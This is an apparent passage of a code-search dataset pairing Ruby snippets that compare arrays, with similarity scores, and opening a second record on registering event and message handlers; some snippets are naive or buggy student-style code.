"def array_equals(array1, array2)\n if array1 == nil && array1 == array2\n return true\n elsif array1.nil? || array2.nil?\n return false\n end\n return false if array1.length != array2.length\n array1.length.times do |x|\n if array1[x] != array2[x]\n return false\n end\n end\n return true\nend",
"def array_equals(array1, array2)\n is_equal = false\n \n if array1 == nil || array2 == nil\n if array1 == nil && array2 == nil\n is_equal = true\n end\n elsif array1.length == array2.length\n is_equal = true\n \n array1.length.times do |index|\n if array1[index] != array2[index]\n is_equal = false\n break\n end\n end \n end \n return is_equal\nend",
"def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"def arrays_equal(arr1, arr2)\n if arr1.length != arr2.length\n return false\n end\n for i in 0..arr1.length-1\n if arr1[i] != arr2[i]\n return false\n end\n end\n return true\nend",
"def array_equals(array1, array2)\n \n # CHECK if arguments valid\n if (array1.class != Array) || (array2.class != Array) \n if (array1 == nil) && (array2 == nil)\n # special edge case, will accept 2 nil args and return true\n return true\n end\n return false\n else \n if array1.length != array2.length\n return false\n else\n array1.each_with_index do |element, index|\n if element != array2[index]\n return false\n end\n end \n # if comparison has not failed by now, then their elements are equal in value & type\n return true\n end\n end\n \nend",
"def array_equals(array1, array2)\n\n if (array1 == nil && array2 == nil) || (array1 == [] && array2 == [])\n return true \n elsif (array1 == nil || array2 == nil) || (array1.length != array2.length)\n return false\n end \n\n i = 0\n while i < array1.length \n if array1[i] != array2[i]\n return false \n end \n\n i += 1\n end\n \n return true\nend",
"def array_equals(array1, array2)\n return true if array1 == array2\n return false if array1 == nil || array2 == nil || array1.length != array2.length\n \n i = 0\n while i <= array1.length \n return false if array1[i] != array2[i]\n i += 1\n end\n return true \n # raise NotImplementedError\nend",
"def array_equals(array1, array2)\nif array1 == nil && array2 == nil\n return true\nelsif array1 == nil || array2 == nil\n return false\nend\n\n\n\nif array1.length != array2.length\n return false\n\nend\n\n\narray1.length.times do |index|\n\n if array1[index] != array2[index]\n return false\n end\nend\n\n\n\n\nreturn true\n\nend",
"def array_equals(array1, array2)\n if array1 == nil && array2 == nil \n return true \n end \n\n if array1 == nil || array2 == nil \n return false \n end \n \n first_length = 0\n sec_length = 0 \n i = 0 \n while array1[first_length] != nil \n first_length += 1 \n end \n\n while array2[sec_length] != nil \n sec_length += 1 \n end \n\n if first_length != sec_length \n return false \n end \n\n while i < first_length do\n if array1[i] == array2[i]\n else \n return false \n end \n\n i += 1 \n end\n\n return true \n \nend",
"def array_equals(array1, array2)\n if array1 == array2\n return true\n else\n return false\n end\n\n if array1.hash.length == array2.hash.length\n return true\n elsif array1[0] == array2[0]\n return true\n end\n\nend",
"def array_equals(array1, array2)\n if array1.length == array2.length\n number = array1.length\n number.times do |i|\n if array1[i] != array2[i] \n return false\n end\n end\n return true\n end \n return false\nend",
"def array_equals(array1, array2)\n return true if array1.nil? && array2.nil?\n return false if array1.nil? && !array2.nil? ||\n !array1.nil? && array2.nil? ||\n array1.length != array2.length\n \n array_length = array1.length || array2.length\n\n until array_length == 0\n return false if array1[array_length] != array2[array_length]\n array_length -= 1 \n end\n\n return true\nend",
"def array_equals(array1, array2)\n\n return true if array1 == array2\n\n return false if array1 == nil\n return false if array2 == nil\n\n array1_length = array1.length\n array2_length = array2.length\n if array1_length != array2_length\n return false\n end\n\n i = 0\n array1.length.times do\n return false if array1[i] != array2[i]\n i += 1\n end\n\nend",
"def array_equals(array1, array2)\n i = 0\n\n if (array1 == nil && array2 == nil) || (array1 == [] && array2 == [])\n return true\n elsif array1 == nil || array2 == nil\n return false\n end\n\n if array1.length == array2.length\n until i > array1.length\n if array1[i] != array2[i]\n return false\n end\n i += 1\n end\n return true\n end\n return false\nend",
"def array_equals(array_1, array_2)\n # Handle nil cases\n if array_1 == nil && array_2 == nil\n return true\n elsif array_1 == nil || array_2 == nil\n return false \n end \n\n # Count 'em \n length_1 = 0\n length_2 = 0\n until array_1[length_1] == nil\n length_1 += 1\n end \n until array_2[length_2] == nil\n length_2 += 1\n end \n\n # Check equal lengths\n if length_1 != length_2 \n return false\n end \n\n # Compare values \n k = 0\n until k == length_1\n if array_1[k] != array_2[k]\n return false\n end \n k += 1 \n end \n return true \nend",
"def array_equals(array1, array2)\n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil && array2 != nil\n return false\n elsif array2 == nil && array1 != nil\n return false\n elsif array1.length == array2.length\n if array1 == array2\n return true\n else\n return false\n end\n else\n return false\n end\nend",
"def array_equals(array1, array2)\n \n if array1 == nil && array2 == nil\n return true\n elsif array1 == nil || array2 == nil\n return false\n elsif !(array1.length == array2.length)\n return false\n end\n \n equal_array = []\n array1.length.times do |index|\n equal = (array1[index] == array2[index])\n equal_array << 1 if !equal\n end\n \n (equal_array.length == 0) ? (return true) : (return false)\n \nend",
"def array_equals(array1, array2)\n #if the arrays are different lengths, will return false\n if array1.length != array2.length\n return false\n end\n\n # compares each element of array, starting at index[0]\n # if they are not equivalent at any point, then it will return false\n # else it will return true when completed \n x = 0\n array1.length.times do\n if array1[x] != array2[x]\n return false\n end\n x += 1\n end\n return true\nend",
"def array_equals(array1, array2)\n return array1.nil? && array2.nil? if array1.nil? || array2.nil?\n is_equal = array1.length == array2.length\n index = 0\n while is_equal && index < array1.length\n is_equal = array1[index] == array2[index]\n index += 1\n end\n return is_equal\nend",
"def array_equals(array1, array2)\n count1 = (array1 == nil) ? 0 : array1.length\n count2 = (array2 == nil) ? 0 : array2.length\n return false if count1 != count2\n count1.times do |i|\n array1[i] == array2[i] ? next : (return false)\n end\n return true\nend",
"def array_equals(array1, array2)\n# This check needs to be done before or\nif array1 == nil && array2 == nil \n return true\nend\n\nif array1 == nil || array2 == nil\n return false\nend\n\nif array1.length != array2.length\n return false\nend\n\ncounter = 0\nwhile counter < array1.length\n unless array1[counter] == array2[counter]\n return false\n end\n counter += 1\nend\nreturn true\nend",
"def array_equals(array1, array2)\n\n if (array1 == nil && array2 != nil) || (array2 == nil && array1 != nil)\n if_equal = false\n elsif array1 == nil && array2 == nil\n if_equal = true\n elsif array1.length == array2.length && array1[0] == array2[0] && array1[1] == array2[1] && array1[2] == array2[2] && array1[3] == array2[3] && array1[4] == array2[4] && array1[5]==array2[5]\n if_equal = true\n else\n if_equal = false\n end\n\n return if_equal\n # raise NotImplementedError\nend",
"def array_equals(array1, array2) \n if array1 == nil && array2 == nil\n return true\n elsif (array1 == nil && array2 != nil) || (array2 == nil && array1 != nil) || (array1.length != array2.length)\n return false \n end\n \n return comparison(array1, array2)\n return true\nend",
"def array_equals(array1, array2)\n\n # check if any arrays == nil\n check_nils_arr = [array1, array2]\n no_nil = true\n check_nils_arr.length.times do |index|\n no_nil = false if check_nils_arr[index] == nil\n end\n\n is_same = true\n if no_nil\n if array2.length != array1.length\n is_same = false\n else\n array1.length.times do |index|\n is_same = false if array1[index] != array2[index]\n end\n end\n else #if any array contains nil\n is_same = false if array1 != array2\n end\n\n return is_same\nend",
"def assert_same_elements(array1, array2, *args)\n converter = proc do |array|\n {}.tap do |hash|\n array.each do |key|\n if hash.key?(key)\n key = [key] until !hash.key?(key)\n end\n hash[key] = true\n end\n end\n end\n\n condition = converter[array1] == converter[array2]\n assert condition,\n \"#{array1.inspect} << EXPECTED NOT SAME AS ACTUAL >> #{array2.inspect}\",\n *args\n end",
"def same_bsts(array_one, array_two)\n return are_same_bsts(array_one, array_two, 0, 0, Float::INFINITY, -Float::INFINITY)\nend",
"def arrays_matching(arr1, arr2)\n if arr1.length != arr2.length\n return false\n else\n lib = {}\n for i in 0..arr1.length-1\n lib[arr1[i]] = true\n end\n for j in 0..arr2.length-1\n if lib[arr2[j]] == nil\n return false\n end\n end\n return true\n end\nend",
"def array_equals(array1, array2)\n comparison_array = []\n\n if array1 == nil && array2 == nil\n return true\n\n elsif array1 == nil && array2 != nil\n return false\n\n elsif array2 == nil && array1 != nil\n return false\n\n elsif array1.length == array2.length\n final_answer = \"same\"\n\n i = 0\n while i < array1.length\n if array1[i] == array2[i]\n comparison_array << 1\n else\n comparison_array << 0\n end\n i += 1\n end\n\n comparison_array.length.times do |x|\n if comparison_array[x] == 0\n final_answer = \"different\"\n end\n end\n\n if final_answer == \"same\"\n return true\n else\n return false\n end\n\n else\n return false\n end\n\n\nend",
"def array_equals(array1, array2)\n evaluation = \"\"\n if array1 == nil && array2 == nil || array1 == array2\n evaluation = true\n elsif\n array1 == nil || array2 == nil\n evaluation = false\n elsif\n array1.length == array2.length\n index = array1.length\n until index < 0 || evaluation == false\n index -= 1\n if array1[index] == array2[index]\n evaluation = true\n else\n evaluation = false\n end\n end\n else\n evaluation = false\n end\n evaluation\nend",
"def assert_same_elements(a1, a2, msg = nil)\n [:select, :inject, :size].each do |m|\n [a1, a2].each {|a| assert_respond_to(a, m, \"Are you sure that #{a.inspect} is an array? It doesn't respond to #{m}.\") }\n end\n\n assert a1h = a1.inject({}) { |h,e| h[e] ||= a1.select { |i| i == e }.size; h }\n assert a2h = a2.inject({}) { |h,e| h[e] ||= a2.select { |i| i == e }.size; h }\n\n assert_equal(a1h, a2h, msg)\n end",
"def locationsCompare(arr1, arr2)\n if arr2.length == 0\n return false\n elsif arr1.length != arr2.length || arr1 & arr2 != arr1\n return true\n end\n return false\n end",
"def assert_same_elements(a1, a2, msg = nil)\n [:select, :inject, :size].each do |m|\n [a1, a2].each {|a| assert_respond_to(a, m, \"Are you sure that #{a.inspect} is an array? It doesn't respond to #{m}.\") }\n end\n\n assert a1h = a1.inject({}) { |h,e| h[e] = a1.select { |i| i == e }.size; h }\n assert a2h = a2.inject({}) { |h,e| h[e] = a2.select { |i| i == e }.size; h }\n\n assert_equal(a1h, a2h, msg)\n end",
"def same_bsts(array_one, array_two)\n return false if array_one.length != array_two.length\n\n return true if array_one.empty? && array_two.empty?\n\n return false if array_one[0] != array_two[0]\n\n left_one = get_smaller(array_one)\n left_two = get_smaller(array_two)\n right_one = get_bigger_or_equal(array_one)\n right_two = get_bigger_or_equal(array_two)\n\n return same_bsts(left_one, left_two)\n return same_bsts(right_one, right_two)\nend",
"def assert_same_elements(a1, a2, msg = nil)\n [:select, :inject, :size].each do |m|\n [a1, a2].each {|a| assert_respond_to(a, m, \"Are you sure that #{a.inspect} is an array? It doesn't respond to #{m}.\") }\n end\n\n assert a1h = a1.inject({}) { |h,e| h[e] = a1.select { |i| i == e }.size; h }\n assert a2h = a2.inject({}) { |h,e| h[e] = a2.select { |i| i == e }.size; h }\n\n assert_equal(a1h, a2h, msg)\n end",
"def ana_array(arr1, arr2)\n\n if arr_to_hash(arr1) == arr_to_hash(arr2)\n return true\n else\n return false\n end\nend",
"def comp(array1, array2)\n return false if (array1+array2).any? {|x| x == nil }\n array1.delete(nil)\n squares = array1.map { |num| num*num }\n squares.uniq.sort == array2.uniq.sort\nend",
"def array_equals(array1, array2)\n if array1.nil? && array2.nil?\n return true\n end\n\n if array1 == nil || array2 == nil\n return false\n end\n\n if array1.length != array2.length\n return false\n end\n\nmatching_elem = Hash.new\n\ni = 0\nwhile i < array1.length\n elem = array1[i]\n if matching_elem[elem]\n matching_elem[elem] += 1\n else\n matching_elem[elem] = 1\n end\n i += 1\nend\n\ni = 0\nwhile i < array2.length\n elem = array2[i]\n if matching_elem[elem]\n matching_elem[elem] -= 1\n elsif matching_elem[elem] && matching_elem[elem] < 0\n return false\n else\n return false\n end\n i += 1\nend\n\nreturn true\n# x = \"\"\n# same_count =\n# same_elements =\n# elements_match = 0\n# first_array_counter = 0\n# second_array_counter = 0\n#\n# array1.each_index do |i|\n# i += 1\n# first_array_counter += i\n# end\n# print first_array_counter\n#\n# array2.each_index do |i|\n# i += 1\n# second_array_counter += i\n# end\n# print second_array_counter\n#\n# # list_one = array1.size\n# # list_two = array2.size\n#\n# if first_array_counter == second_array_counter\n# same_count = true\n# elsif array1 == nil && array2 == nil\n# same_elements = true\n# elsif array1 == nil && array2 != nil\n# same_elements = false\n# elsif array2 == nil && array1 != nil\n# same_elements = false\n# else\n# same_count = false\n# end\n#\n# if same_count == true\n# first_array_counter.times do |i|\n# if array1[i] == array2[i]\n# elements_match += 1\n# end\n# end\n# end\n#\n# if elements_match == (first_array_counter) && elements_match == (second_array_counter)\n# same_elements = true\n# end\n#\n# if same_count == same_elements\n# x = true\n# else\n# x = false\n# end\n#\n# return x\nend",
"def assert_same_elements(a1, a2, msg = nil)\n [:select, :inject, :size].each do |m|\n [a1, a2].each {|a| assert_respond_to(a, m, \"Are you sure that #{a.inspect} is an array? It doesn't respond to #{m}.\") }\n end\n\n assert a1h = a1.inject({}) { |h,e| h[e] ||= a1.select { |i| i == e }.size; h }\n assert a2h = a2.inject({}) { |h,e| h[e] ||= a2.select { |i| i == e }.size; h }\n\n assert_equal(a1h, a2h, msg)\nend",
"def ana_array(arr1, arr2) \n counter1 = Hash.new(0)\n counter2 = Hash.new(0)\n\n arr1.each do |ele|\n counter1[ele] += 1\n end\n\n arr2.each do |ele|\n counter2[ele] += 1\n end\n\n counter1.each_key do |key|\n if counter2.key?(key) \n if counter2[key] != counter1[key]\n return false\n end\n else \n return false\n end \n end\n \n counter2.each_key do |key|\n if counter1.key?(key) \n if counter1[key] != counter2[key]\n return false\n end\n else \n return false\n end \n end\n return true\n \nend",
"def different?(ary_a, ary_b)\n ((ary_a | ary_b) - (ary_a & ary_b)).size > 0\n end",
"def array_equals(array1, array2)\n and_array = array1 && array2\n\n if and_array == array1 && and_array == array2\n return true\n\n else\n return false\n end\nend",
"def all_eql?(arr)\n arr.each_cons(2).all? { |x, y| x == y }\n end",
"def dupes?(a, b)\n a.uniq.size != a.size || b.uniq.size != b.size || (a & b).any?\n end",
"def equals(xs, ys)\n a = Array(xs)\n b = Array(ys)\n\n ((a | b) - (a & b)).empty?\n end",
"def array_include(a1, a2) \n return (a1 - a2).empty?\n end",
"def deep_equals?(arr1, arr2)\n return false if arr1.length != arr2.length\n\n arr1.each_with_index do |x, i|\n return false if x.instance_of?(Array) && !deep_equals?(x, arr2[i])\n return false if x != arr2[i]\n end\n\n true\nend",
"def all_same?\n self.all? { |element| element == self[0] }\n end",
"def all_same?\n self.all? { |element| element == self[0] }\n end",
"def equal(array1, array2)\n hash1 = {}\n hash2 = {}\n array1.length.times do |x|\n if hash1.has_key?(array1[x])\n hash1[array1[x]] += 1\n else\n hash1[array1[x]] = 1\n end\n end\n array2.length.times do |x|\n if hash2.has_key?(array2[x])\n hash2[array2[x]] += 1\n else\n hash2[array2[x]] = 1\n end\n end\n return hash1 == hash2\nend",
"def eql?(other)\n return true if self._equal?(other)\n return false unless other._isArray\n lim = self.__size\n unless lim._equal?(other.__size)\n return false\n end\n ts = Thread.__recursion_guard_set\n added = ts.__add_if_absent(self)\n begin\n i = 0\n limi = lim\n while i < limi\n v = self.__at(i)\n ov = other[i]\n if v._equal?(ov)\n # ok\n elsif ts.include?(v) || ts.include?(ov)\n # v and ov are the same objects, so behave like MRI 1.8.7 and return false\n # in MRI 1.9.3 it should return true, though the array are not the same objects, but they have the same content\n return true \n elsif v.eql?(ov)\n # ok\n else\n return false\n end\n i += 1\n end\n ensure\n if added\n ts.remove(self)\n end\n end\n true\n end",
"def eql?(other)\n to_a.eql? Array(other)\n end",
"def ==(other)\n self.compatible?(other) && @array_data == other.array_data\n end",
"def ==(other)\n return false unless self.size == other.size\n self.each_index {|idx| return false unless self[idx] == other[idx]}\n return true\n end",
"def ==(other)\n records == Array(other)\n end",
"def areSimilar(a, b)\n return true if a == b\n\n if a.sort == b.sort\n temp_array = a\n counter = 0\n (0...a.length).each do |i|\n if (a[i] != b[i]) && (counter < 2)\n temp_array[i] = b[i]\n counter += 1\n end\n end\n return true if temp_array == b\n end\n\n return false\n\nend",
"def same_values?(arr)\n arr.uniq.length == 1\n end",
"def check_for_inconsistency(elements)\n elements.any?{|e| e != elements.first}\n end",
"def all_same?\n\t\t\tself.all? { |element| (element == self[0]) && (element != nil) }\n\t\tend",
"def x_equal_y\n x = @x.content\n y = @y.content\n z = Array.new @z.length, 1\n\n @z.length.times do |i|\n unless x[i] == y[i]\n z = Array.new @z.length, 0\n break\n end\n end\n\n @z.content = z\n end",
"def assert_two_arrays(a1, a2, msg = nil)\n\t\t[:select, :inject, :size].each do |m|\n\t\t\t[a1, a2].each { |a| assert_respond_to(a, m, \"Are you sure that #{a.inspect} is an array? It doesn't respond to #{m}.\") }\n\t\tend\n\t\tassert a1h = a1.inject({}) { |h, e| h[e] ||= a1.select { |i| i == e }.size; h }\n\t\tassert a2h = a2.inject({}) { |h, e| h[e] ||= a2.select { |i| i == e }.size; h }\n\t\tassert_equal(a1h, a2h, msg)\n\tend",
"def ==(other)\n return false unless to_a.length == other.to_a.length\n to_a.all? { |el| other.include?(el) }\n end",
"def test_combine_arrays\n array = []\n array_one = [1,2,3,4,5]\n array_two = [2,5,9]\n array = array_one & array_two\n assert_equal [2,5], array\n end",
"def ==(other)\n return false unless other.is_a?(Array) || other.is_a?(self.class)\n\n return false unless empty? == other.empty?\n\n compare_hashed_errors(other)\n end",
"def identical_values?(arr)\n arr.uniq.length == 1\nend",
"def test_compare_two_string_arrays_none\n \ttest_list1 = [\"cat\", \"dog\", \"cow\"]\n \ttest_list2 = [\"pig\", \"rat\", \"rabbit\"]\n \tassert_empty @w.compare_two_string_arrays(test_list1, test_list2)\n end",
"def compare(srcDataArray, trgtDataArray)\n\tresult = true;\n\t\n\t# first compare sizes\n\tif (srcDataArray.length() != trgtDataArray.length())\n\t\tputs(\"Data arrays are of different length. Source size: #{srcDataArray.length()}. Target size: #{trgtDataArray.length()}.\");\n\t\tresult = false;\n\t\treturn result;\n\tend\n\t\n\t# Check each element\n\tmaxSize = srcDataArray.length();\n\tfor i in 0...maxSize\n\t\t# Check each element, exit after first case where elements don't match\n\t\tif (srcDataArray[i] != trgtDataArray[i])\n\t\t\tputs(\"Elements at position #{i} are different. Source: #{srcDataArray[i]}. Target: #{trgtDataArray[i]}.\");\n\t\t\tresult = false;\n\t\t\treturn result;\n\t\tend\n\tend\nend",
"def same_or_dif? card_arr\n card_arr.uniq.size != 2\nend",
"def ==(other)\n return super unless has_size?\n return false if size != other.size\n size.times do |i|\n return false if self[i] != other[i]\n end\n\n return true\n end",
"def test_compare_two_string_arrays_more_than_one\n \ttest_list1 = [\"cat\", \"dog\", \"cow\"]\n \ttest_list2 = [\"dog\", \"rat\", \"cow\"]\n \tassert_equal @w.compare_two_string_arrays(test_list1, test_list2), [\"dog\", \"cow\"]\n end",
"def _byte_equal a, b\n a.zip(b).all? { |(l,r)| l.bytes.to_a == r.bytes.to_a }\n end",
"def same_num_elements?(hash1, hash2)\n hash1.size == hash2.size\n end",
"def ==(array)\n to_ary == array\n end",
"def areSimilar(a, b)\n count = 0\n \n for i in 0..(a.count-1)\n if a[i] != b[i]\n count += 1\n end\n end\n \n if count < 3\n if a.sort == b.sort\n return true\n end\n end\n \n false\nend",
"def == other\n return true if equal?(other) # save some time\n return false unless other.respond_to?(:to_a)\n e1s = to_a\n e2s = other.to_a\n e1s.size == e2s.size && e1s.all? { |e1| e2s.include? e1 }\n end",
"def duplicate_elements?(arr)\n arr.uniq.length != arr.length\nend",
"def ==(other)\n if other.kind_of?(Array)\n other == setup\n else\n other.setup == self.setup\n end\n end"
] | [
"0.8304899",
"0.8097667",
"0.8039322",
"0.8020542",
"0.79603225",
"0.7939865",
"0.7915729",
"0.7911575",
"0.79086286",
"0.79078823",
"0.790613",
"0.78635913",
"0.7845817",
"0.7820372",
"0.7796",
"0.7794774",
"0.77891284",
"0.7780091",
"0.7764603",
"0.7763603",
"0.77446127",
"0.7738437",
"0.77369845",
"0.77369845",
"0.77369845",
"0.77369845",
"0.77369845",
"0.77369845",
"0.77287984",
"0.77237916",
"0.7714064",
"0.7700062",
"0.76970387",
"0.7687061",
"0.7678542",
"0.7676883",
"0.7675332",
"0.7668087",
"0.7650967",
"0.76277983",
"0.7614837",
"0.76018655",
"0.7537485",
"0.7536072",
"0.7524815",
"0.75227207",
"0.7497677",
"0.7488141",
"0.74410594",
"0.74286425",
"0.7393624",
"0.7370416",
"0.72789854",
"0.7240227",
"0.7221379",
"0.7219414",
"0.72173727",
"0.71885324",
"0.718667",
"0.71725494",
"0.7150993",
"0.712761",
"0.71102315",
"0.71051055",
"0.70952624",
"0.70813096",
"0.7054373",
"0.7025439",
"0.700676",
"0.6987579",
"0.6957262",
"0.6957262",
"0.692064",
"0.689733",
"0.6893946",
"0.6889049",
"0.6866464",
"0.68627477",
"0.6847239",
"0.67920476",
"0.67806846",
"0.6737564",
"0.6695914",
"0.6690356",
"0.6646856",
"0.664569",
"0.6635462",
"0.66199654",
"0.66146827",
"0.6611322",
"0.65925044",
"0.6585499",
"0.65785336",
"0.65785336",
"0.6572413",
"0.6562847",
"0.6541373",
"0.65338564",
"0.65209746",
"0.6470544"
] | 0.6895629 | 74 |
Adds a handler to the reactor. A handler is a callable taking a single argument, the message. | def add_handler(handler)
@handlers << handler
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def add_message_handler(&block)\n @message_handlers << block\n end",
"def add_handler(name, handler)\n subscribe(name)\n subscriptions[name].handlers << handler\n end",
"def handler\n @handlers.push(proc do |msg|\n yield msg\n end)\n end",
"def add_handler(new_handler)\n @handlers.push(new_handler)\n end",
"def add_handler(handler)\n h, options = *(handler.is_a?(Array) ? handler : [handler, {}])\n name = coerce_handler(h)\n global_opts = { output: @output, config: @config }\n opts = global_opts.merge(options)\n ready_handler = name.new(opts)\n @ready_handlers << ready_handler\n end",
"def add_handler(opts={})\n end",
"def add_handler(type, callable=nil, &b)\n callable = callable(callable, b)\n regex = regex_for(type)\n sync do\n id = @handler_serial+=1\n handlers << [id, regex, callable]\n id\n end\n end",
"def register(handler)\n conf = @config\n bot = self\n isaac = @bot\n\n @bot.register{|type, msg|\n begin\n $log.debug \"Received message: #{type} #{msg}\"\n handler.dispatch(type, msg, bot.clone_state(msg)) # TODO: send a binding?\n rescue Exception => e\n $log.warn e.to_s\n $log.debug e.backtrace.join(\"\\n\")\n end\n }\n end",
"def on_message_call handler\n @@handler_symbol = handler\n end",
"def register_inbound_handler(handler)\n\t\t@inbound_handlers << handler\n\tend",
"def handle(handler, *guards, &block)\n client.register_handler handler, *guards, &block\n end",
"def on_message(&handler)\n @on_message_handler = handler\n end",
"def add_handler(opts={})\n return if not payload_instance\n return if not handler_enabled?\n payload_instance.add_handler(opts)\n end",
"def set_message_handler &block\n @message_handler = block\n end",
"def register_handler(handler)\n handler.handled_events.each do |event_type|\n (event_handlers[event_type] ||= []) << handler\n Twitch::Bot::Logger.debug \"Registered #{handler} for #{event_type}\"\n end\n end",
"def __set_handler(handler)\n @__handler = handler\n end",
"def setup_method_handler(method_handler)\n @handler = method_handler\n end",
"def set_message_handler(&block); end",
"def handler(name, handler)\n # Construct an instance, if the handler is a class and needs to be initialized.\n handler = handler.new\n\n # Make sure it quacks like a handler.\n unless handler.respond_to?(:generate) && handler.respond_to?(:parse)\n raise ArgumentError, \"Media type handlers must respond to #generate and #parse\"\n end\n\n # Register that thing!\n @handlers[name.to_s] = handler\n end",
"def make_handlers(*args)\r\n make :handler, *args\r\n end",
"def message_handler(&message_proc)\n @message_proc = message_proc\n end",
"def add_response_handler(&block)\n Listener.new(&block).tap do |listener|\n listener.stopback{ listener.succeed }\n add_to_listener_pool(listener)\n end\n end",
"def register(*args, &block)\n h = Unobservable.handler_for(*args, &block)\n @handlers << h\n return h\n end",
"def attach handler\n raise ArgumentError, \"Handler must provide an 'on_attach' method\" unless handler.respond_to? :on_attach\n handler.on_attach self\n end",
"def handle(name, r_type, expr, &block)\n @handlers.push({name: name, methods: r_type, expr: expr, handler: block})\n end",
"def new_handler\n handler.new(event)\n end",
"def define_handler(*extensions, &block)\n @handlers += extensions.map { |ext| [ext, block] }\n end",
"def with_handler(handler = current_handler)\n begin\n if handler != current_handler\n old_handler = current_handler\n set_current_handler handler\n end\n\n handlers[current_handler].tap do |h|\n return yield h if block_given?\n end\n ensure\n set_current_handler old_handler if old_handler\n end\n end",
"def <<(command_handler)\n command_handler.commands.each do |command|\n @commands[command] = command_handler\n end\n end",
"def register_handler\n @register_handler ||= Justdi::RegisterHandler\n end",
"def add_custom_handlers\n # Set up hooks\n @irc.on_msg self.method(:_in_msg)\n @irc.on_act self.method(:_in_act)\n @irc.on_invite self.method(:_in_invited)\n @irc.on_kick self.method(:_in_kick)\n @irc.saying_join self.method(:_out_join)\n end",
"def on(name, &block)\n @handlers[name.to_s] = block\n end",
"def start_handler\n # we're just pretending to be a handler\n end",
"def handler(*args)\n if payload_instance && handler_enabled?\n payload_instance.handler(*args)\n end\n end",
"def register(client_id, message_handlers, options={})\n receiver = receiver(client_id)\n message_handler_names = []\n message_handlers = [message_handlers] unless message_handlers.is_a? Array\n message_handlers.each do |message_handler|\n if check(client_id, message_handler)\n handled_methods = message_handler.handled_methods || []\n handled_methods = [handled_methods] unless handled_methods.is_a? Array\n handled_methods_as_strings = []\n handled_methods.each do |method|\n handled_methods_as_strings << method.to_s\n (@registered_message_handlers_for_method[method.to_sym] ||= []) << message_handler\n end\n message_handler_name = message_handler.name.to_s\n @registered_message_handlers << message_handler\n @registered_message_handlers_by_fq_name[message_handler.fq_name] = message_handler\n message_handler.qsif = @qsif_public # Set the public service interface so that it is available in the message handler\n message_handler_names << message_handler_name\n notify(:type => :debug, :code => 5000, :receivers => receiver, :params => {:message_handler_name => message_handler_name, :handled_methods => handled_methods_as_strings.inspect, :modules => message_handler.modules.inspect, :message_handler_class => message_handler.class, :version => message_handler.version })\n end\n end\n notify(:type => :debug, :code => 5010, :receivers => receiver, :params => {:amount => @registered_message_handlers.size})\n end",
"def register_handler(action, &handler)\n @actions[action] = [] if @actions[action].nil?\n @actions[action] << handler\n end",
"def add_handler(command_name, argument_names, http_method, path, data, role_index=0, &blk)\n # validate name, args, and method\n if not RoleBuilderUtils::is_valid_identifier? command_name\n raise BadParameterException, (command_name + \" is not a valid command name.\")\n end\n argument_names.each { |i|\n if not RoleBuilderUtils::is_valid_identifier? i\n raise BadParameterException, (i + \" is not a valid argument name.\")\n end\n }\n if not [\"GET\", \"POST\", \"PUT\", \"DELETE\"].include? http_method\n raise BadParameterException, (http_method + \" is not a valid HTTP method (is it capitalized?)\")\n end\n\n new_handler = {\n \"name\" => RoleBuilderUtils::normalize_identifier(command_name),\n \"method\" => http_method,\n \"path\" => path,\n \"data\" => data\n }\n\n implementation[\"roles\"][role_index][\"handlers\"] << new_handler\n\n # Add the method that will execute for this handler\n sinatra_path = RoleBuilderUtils::arguments_and_path_to_sinatra_path(argument_names, path)\n if http_method == \"GET\"\n get(sinatra_path, &blk)\n elsif http_method == \"POST\"\n post(sinatra_path, &blk)\n else\n raise BadParameterException, (\"Unknown HTTP method '\" + http_method + \"'.\")\n end\n def clear_handlers\n # Resets the handler list.\n set :implementation, Sinatra::RoleBuilder.empty_handlers\n end\n end",
"def subscribe(subscriber)\n handler.subscribe(self, subscriber)\n end",
"def add_handler(handler)\n domains = handler.listen_to_domains\n domains = [domains] if domains.is_a?(String)\n\n domains.each do |domain|\n @maps[domain] ||= []\n @maps[domain].push(handler)\n @maps[domain] = @maps[domain].uniq\n end\n end",
"def body_handler(body_handler)\n @body_handler = body_handler\n self\n end",
"def handler\n @handler ||= MailboxHandler.new(@mailbox, imap)\n end",
"def callback_handler_install(prompt = nil, &block)\n raise ArgumentError, 'block is required' unless block\n @rl_callback_handler = block\n rl_callback_handler_install(prompt, block)\n end",
"def handle(url, handler, default_data = {})\n unless @handlers[url]\n @urls << url\n @handlers[url] = [handler, default_data]\n end\n end",
"def addHandler(object,event,func)\n\t\tputs event\n\t\tobject.send(event).connect(self)\n\t\t@handlers[object.getName+\":\"+event.to_s]=func\n\tend",
"def message_received(message)\n @message_handlers.each do |block|\n block.call(message)\n end\n end",
"def set_handler(method, val)\n send(\"#{method}=\", val)\n end",
"def handler\n raise \"Must override AsyncHandler#handler\"\n end",
"def handler_executed(handler)\n end",
"def set_handler(h, callback)\n\t\t@handler[h] = callback\n\tend",
"def handle_messages(&handler)\n raise NotImplementedError\n end",
"def add_command(name, handler)\n @commands[name] = handler\n end",
"def add_listener(listener, handle=listener_to_handle(listener))\n add_wildcard_callback(handle) do |event|\n listener.send(event.name, *event.arguments)\n end\n end",
"def on(event, &handler)\n if @connection_event_handlers.keys.include?(event)\n @connection_event_handlers[event] << handler\n end\n end",
"def install_handler!(opts={}, &block)\n stat = find_stat(opts, &block)\n raise NoAvailableHandler unless stat\n stat.install\n end",
"def define_handler(*extensions, &block)\n Figgy::Root.handlers += extensions.map { |ext| [ext, block] }\n end",
